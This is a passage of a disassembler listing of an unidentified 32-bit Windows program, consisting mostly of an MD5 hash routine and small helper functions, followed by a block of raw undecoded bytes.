mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_434DA0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_434C99
loc_434CB5: ; CODE XREF: sub_434C30+67j
xor eax, eax
jmp short loc_434CBB
; ---------------------------------------------------------------------------
loc_434CB9: ; CODE XREF: sub_434C30+41j
xor ebp, ebp
loc_434CBB: ; CODE XREF: sub_434C30+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_435A30
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_434C30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434D10 proc near ; CODE XREF: sub_402176j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_435950
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_434D43
mov ecx, 78h
loc_434D43: ; CODE XREF: sub_434D10+2Cj
sub ecx, eax
push ecx
push offset aA ; "€"
push edi
call sub_401C26
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C26
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_435950
push 58h
push 0
push edi
call sub_435A60
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_434D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434DA0 proc near ; CODE XREF: sub_434C30+58p
; sub_434C30+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4359C0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_435A60
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_434DA0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435950 proc near ; CODE XREF: sub_434D10+14p
; sub_434D10+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_435997
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43596A: ; CODE XREF: sub_435950+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43596A
pop esi
loc_435997: ; CODE XREF: sub_435950+7j
pop edi
retn
sub_435950 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_435A0A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4359DD: ; CODE XREF: sub_4359C0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4359DD
pop edi
pop esi
loc_435A0A: ; CODE XREF: sub_4359C0+7j
pop ebp
retn
sub_4359C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep
; sub_434C30+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_435A4C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_435A43: ; CODE XREF: sub_435A30+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_435A43
loc_435A4C: ; CODE XREF: sub_435A30+7j
pop esi
retn
sub_435A30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A60 proc near ; CODE XREF: sub_434D10+60p
; sub_434DA0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_435A8E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_435A8E: ; CODE XREF: sub_435A60+6j
retn
sub_435A60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_435AA0 proc near ; CODE XREF: sub_401C21j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_435AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_435AA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+30h]
push 7
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435B90: ; CODE XREF: ___:loc_401F3Cj
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43D126
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436148
push 80h
mov dword ptr [esp+1Ch], 800h
nop
call near ptr 77C2C407h
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_444600 ; " "
push 1
push eax
call sub_4016B8
push 800h
mov dword ptr [esp+16F0h], 0
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0D43D89C0h
dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h
dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh, 0C08508C4h
dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h
dd 0F0685204h, 55004445h, 0CBBDE890h, 0B9001Bh, 33000002h
dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0D8BF0000h, 0F3005103h
dd 3D4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0
dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h
dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah
dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
dd 4DA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h
dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
dd 424848Dh, 51000001h, 44C75250h, 4424h, 5DE80000h, 900248A2h
dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 0A216E890h
dd 0C0850249h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
dd 55004446h, 20244489h, 0CA4DE890h, 0B9001Bh, 33000002h
dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h
dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
dd 50A1BBE8h, 8468B02h, 18244C8Dh, 0E424948Dh, 51000006h
dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh
dd 0E8905210h, 24DA190h, 8D08568Bh, 8D182444h, 6E4248Ch
dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
dd 444D20h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h
dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
dd 0A12AE852h, 8B90024Dh, 8B24247Ch, 47142444h, 7C89F83Bh
dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh
dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh
dd 80000002h, 302444C7h, 0
dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h
